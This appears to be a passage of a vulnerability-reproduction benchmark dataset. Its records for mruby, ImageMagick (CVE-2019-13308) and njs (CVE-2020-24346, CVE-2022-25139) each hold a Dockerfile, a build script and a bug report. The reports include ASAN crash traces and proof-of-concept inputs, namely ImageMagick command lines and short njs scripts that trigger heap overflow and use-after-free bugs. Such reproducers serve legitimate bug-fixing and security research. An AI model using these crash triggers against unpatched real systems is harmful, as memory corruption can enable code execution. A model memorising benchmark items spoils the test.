Below is the output from mruby ASAN build:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==38614==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x000000597d2e bp 0x7ffc22840e70 sp 0x7ffc22840ce0 T0)
==38614==The signal is caused by a READ memory access.
==38614==Hint: address points to the zero page.
#0 0x597d2e in mrb_obj_is_kind_of /root/mruby/mruby/src/object.c:468:14
#1 0x619263 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1763:12
#2 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#3 0x5fd9c0 in mrb_run /root/mruby/mruby/src/vm.c:3048:10
#4 0x603853 in mrb_yield_with_class /root/mruby/mruby/src/vm.c:880:11
#5 0x54a762 in mrb_mod_initialize /root/mruby/mruby/src/class.c:1649:5
#6 0x616995 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1646:18
#7 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#8 0x5ff8b9 in mrb_top_run /root/mruby/mruby/src/vm.c:3061:12
#9 0x69b76b in mrb_load_exec /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6891:7
#10 0x69cb0b in mrb_load_detect_file_cxt /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6934:12
#11 0x50c5bf in main /root/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#12 0x7fa4263330b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#13 0x41d84d in _start (/root/mruby/mruby/bin/mruby+0x41d84d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mruby/mruby/src/object.c:468:14 in mrb_obj_is_kind_of
==38614==ABORTING
Test Platform:
Ubuntu 18.04
Impact:
Possible arbitrary code execution if being exploited.
Acknowledgements
This bug was found by Ken Wong(@wwkenwong) from Black Bauhinia(@blackb6a) and Alex Cheung
Impact
Impact:
Possible arbitrary code execution if being exploited.
Relevant Links:
https://github.com/mruby/mruby
|
[] |
[
{
"sha": "23b6f0a9",
"url": null
},
{
"sha": "a4d97934d51cb88954cc49161dc1d151f64afb6b",
"url": "https://github.com/mruby/mruby/commit/a4d97934d51cb88954cc49161dc1d151f64afb6b"
},
{
"sha": "791635a8d1ad9aad98aae0a36a91e092e4d71944",
"url": "https://github.com/mruby/mruby/commit/791635a8d1ad9aad98aae0a36a91e092e4d71944"
}
] |
imagemagick.cve-2019-13308
|
imagemagick/imagemagick
|
b88e300799058d7a5f09efef89519591d9f3ada2
| 2019-06-16T21:13:43
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout b88e300799058d7a5f09efef89519591d9f3ada2
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/1595
## Description:
Issue: ImageMagick/ImageMagick#1595
Title: heap-buffer-overflow in MagickCore/fourier.c:299:18 in ComplexImage
State: closed
Created by: SuhwanSong
Created at: 2019-06-17 02:21:01+00:00
Labels: bug
Issue Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow in MagickCore/fourier.c:299:18 in ComplexImage, and I compiled the lasted version with --disable-openmp option.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run cmd:
`magick -seed 0 -mattecolor rgb"("225,230,14")" -debug Configure "(" magick:wizard +repage ")" "(" magick:netscape +repage ")" -fuzz 82 -caption "j$Y%Be" -blue-primary 727,475 -crop 405%-43-16 -crop 832x886>+11-13 -complex magnitude-phase tmp`
and also this command
`magick -seed 0 "(" magick:netscape +repage ")" "(" magick:wizard -resample 24x44 -resample 47x83 ")" "(" magick:netscape -charcoal 4 -random-threshold 42x71 -shade 81x21 ")" -complex magnitude-phase tmp112
`
Here's ASAN result.
```
==9231==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd97efce800 at pc 0x7fd98dbdd221 bp 0x7ffff99e9790 sp 0x7ffff99e9788
WRITE of size 4 at 0x7fd97efce800 thread T0
#0 0x7fd98dbdd220 in ComplexImages MagickCore/fourier.c:299:18
#1 0x7fd98d4038c1 in CLIListOperatorImages MagickWand/operation.c:3890:22
#2 0x7fd98d40f34e in CLIOption MagickWand/operation.c:5276:14
#3 0x7fd98d250a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#4 0x7fd98d251d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#5 0x7fd98d29bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#6 0x526f95 in MagickMain utilities/magick.c:149:10
#7 0x5268e1 in main utilities/magick.c:180:10
#8 0x7fd987d12b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41b069 in _start (install/bin/magick+0x41b069)
0x7fd97efce800 is located 0 bytes to the right of 3686400-byte region [0x7fd97ec4a800,0x7fd97efce800)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7fd98dc8a666 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7fd98d9d36ac in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7fd98d9d9991 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7fd98d9dfc59 in SyncImagePixelCache MagickCore/cache.c:5494:28
#5 0x7fd98dc3dfc1 in SetImageStorageClass MagickCore/image.c:2627:10
#6 0x7fd98dbdb4f7 in ComplexImages MagickCore/fourier.c:185:7
#7 0x7fd98d4038c1 in CLIListOperatorImages MagickWand/operation.c:3890:22
#8 0x7fd98d40f34e in CLIOption MagickWand/operation.c:5276:14
#9 0x7fd98d250a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7fd98d251d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7fd98d29bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7fd987d12b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/fourier.c:299:18 in ComplexImages
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-17 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
Comments:
Comment by urban-warrior on 2019-06-17 12:50:01+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by nohmask on 2019-07-08 01:53:01+00:00:
This was assigned CVE-2019-13308.
---
Comment by hlef on 2019-08-13 11:59:01+00:00:
I wonder... in https://github.com/ImageMagick/ImageMagick6/commit/19651f3db63fa1511ed83a348c4c82fa553f8d01 why is this change
```
- if (images->matte != MagickFalse)
+ if (Cr_image->matte != MagickFalse)
```
only applied to `SubtractComplexOperator` and not to other operators such as `RealImaginaryComplexOperator` or `MultiplyComplexOperator`? Is this intentional?
Commit References:
19651f3db63fa1511ed83a348c4c82fa553f8d01
|
[] |
[
{
"sha": "61135001a625364e29bdce83832f043eebde7b5a",
"url": "https://github.com/ImageMagick/ImageMagick/commit/61135001a625364e29bdce83832f043eebde7b5a"
},
{
"sha": "19651f3db63fa1511ed83a348c4c82fa553f8d01",
"url": "https://github.com/ImageMagick/ImageMagick6/commit/19651f3db63fa1511ed83a348c4c82fa553f8d01"
}
] |
njs.cve-2020-24346
|
nginx/njs
|
c3da13fb18f0d8ec809b346096feab572e634486
| 2020-08-11T09:31:07
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout c3da13fb18f0d8ec809b346096feab572e634486
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/325
## Description:
Issue: nginx/njs#325
Title: heap-use-after-free in njs_json_parse_iterator_call
State: closed
Created by: Changochen
Created at: 2020-06-28 18:40:42+00:00
Labels: bug, fuzzer, fluff
Issue Body:
Version:`0.4.2`, git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`
POC:
```javascript
function a() {
this[this['use asm'] = this[this[1024] = ArrayBuffer]] = this[ArrayBuffer] =
4000
}
JSON.parse("[1, 2, []]", a)
```
cmd: `njs poc.js`
Stack dump:
```
=================================================================
==262019==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000210 at pc 0x0000005e7fbc bp 0x7ffecccad3f0 sp 0x7ffecccad3e8
WRITE of size 1 at 0x62b000000210 thread T0
#0 0x5e7fbb in njs_json_parse_iterator_call /home/yongheng/njs/src/njs_json.c:1030:17
#1 0x5e7fbb in njs_json_parse_iterator /home/yongheng/njs/src/njs_json.c:971:15
#2 0x5e7fbb in njs_json_parse /home/yongheng/njs/src/njs_json.c:167:16
#3 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#4 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#5 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
#6 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
#7 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
#8 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
#9 0x7f10a367db96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#10 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)
0x62b000000210 is located 16 bytes inside of 24632-byte region [0x62b000000200,0x62b000006238)
freed by thread T0 here:
#0 0x4940fd in __interceptor_free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3
#1 0x58fefa in njs_array_expand /home/yongheng/njs/src/njs_array.c:386:5
previously allocated by thread T0 here:
#0 0x494e37 in __interceptor_posix_memalign /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:226:3
#1 0x77c2fd in njs_memalign /home/yongheng/njs/src/njs_malloc.c:39:11
#2 0x4daeed in njs_mp_alloc_large /home/yongheng/njs/src/njs_mp.c:578:13
#3 0x4daeed in njs_mp_align /home/yongheng/njs/src/njs_mp.c:331:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/yongheng/njs/src/njs_json.c:1030:17 in njs_json_parse_iterator_call
Shadow bytes around the buggy address:
0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==262019==ABORTING
```
Comments:
Comment by xeioex on 2020-10-06 17:02:21+00:00:
Fixed in https://github.com/nginx/njs/commit/9ab425eac2b6c7eb3a932c8e6934e9992435e328.
Commit References:
32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5
9ab425eac2b6c7eb3a932c8e6934e9992435e328
|
[] |
[
{
"sha": "32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5",
"url": "https://github.com/nginx/njs/commit/32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5"
},
{
"sha": "9ab425eac2b6c7eb3a932c8e6934e9992435e328",
"url": "https://github.com/nginx/njs/commit/9ab425eac2b6c7eb3a932c8e6934e9992435e328"
}
] |
njs.cve-2022-25139
|
nginx/njs
|
39e8fa1b7db1680654527f8fa0e9ee93b334ecba
| 2022-01-19T08:03:49
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 39e8fa1b7db1680654527f8fa0e9ee93b334ecba
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/451
## Description:
Issue: nginx/njs#451
Title: Heap UAF in njs_await_fulfilled
State: closed
Created by: anonym0us1337
Created at: 2021-12-24 06:48:19+00:00
Labels: bug, fuzzer
Issue Body:
## Env
```
Version : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS : Ubuntu 20.04
Configure : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
async function v6(v7) {
const v10 = v7(v7);
const v11 = await "split";
Object.values();
}
const v15 = v6(v6);
}
main();
```
## Stack Dump
```
=================================================================
==465349==ERROR: AddressSanitizer: heap-use-after-free on address 0x6250001a5c30 at pc 0x00000049595f bp 0x7ffde728bab0 sp 0x7ffde728b278
WRITE of size 88 at 0x6250001a5c30 thread T0
#0 0x49595e in __asan_memset (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x49595e)
#1 0x538e7f in njs_function_frame_alloc /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:574:5
#2 0x538b50 in njs_function_native_frame /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:381:13
#3 0x4eae5f in njs_function_frame /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.h:151:16
#4 0x4eae5f in njs_function_frame_create /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1737:16
#5 0x4e2cf8 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:767:23
#6 0x605359 in njs_await_fulfilled /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:104:11
#7 0x53b99c in njs_function_native_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:737:11
#8 0x539fd9 in njs_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:775:16
#9 0x539fd9 in njs_function_call2 /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:600:11
#10 0x5f4af7 in njs_function_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.h:179:12
#11 0x5f4af7 in njs_promise_reaction_job /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_promise.c:1182:15
#12 0x53b99c in njs_function_native_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:737:11
#13 0x4de4c0 in njs_vm_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:375:12
#14 0x4de4c0 in njs_vm_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:359:12
#15 0x4de4c0 in njs_vm_handle_events /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:524:19
#16 0x4de4c0 in njs_vm_run /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:479:12
#17 0x4c82a7 in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:915:15
#18 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#19 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#20 0x7fbad01760b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#21 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
0x6250001a5c30 is located 6960 bytes inside of 8192-byte region [0x6250001a4100,0x6250001a6100)
freed by thread T0 here:
#0 0x495f7d in free (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x495f7d)
#1 0x53bcc9 in njs_function_frame_free /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:795:13
#2 0x4e97a8 in njs_vmcode_return /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1807:5
#3 0x4e97a8 in njs_vmcode_await /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1906:12
#4 0x4e97a8 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:829:24
#5 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#6 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#7 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#8 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#9 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#10 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#11 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#12 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#13 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#14 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#15 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#16 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#17 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#18 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#19 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#20 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#21 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#22 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#23 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#24 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#25 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#26 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#27 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#28 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#29 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#30 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#31 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
previously allocated by thread T0 here:
#0 0x496c97 in posix_memalign (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x496c97)
#1 0x61fa0c in njs_memalign /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_malloc.c:39:11
#2 0x4cf64b in njs_mp_alloc_large /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_mp.c:577:13
#3 0x538fb1 in njs_function_frame_alloc /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:564:17
#4 0x5391a7 in njs_function_lambda_frame /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:466:20
#5 0x4eae4e in njs_function_frame /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.h:154:16
#6 0x4eae4e in njs_function_frame_create /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1737:16
#7 0x4e310d in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:734:23
#8 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#9 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#10 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#11 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#12 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#13 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#14 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#15 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#16 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#17 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#18 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#19 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#20 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#21 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#22 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#23 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#24 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#25 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#26 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#27 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
#28 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#29 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#30 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_async.c:34:11
SUMMARY: AddressSanitizer: heap-use-after-free (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x49595e) in __asan_memset
Shadow bytes around the buggy address:
0x0c4a8002cb30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
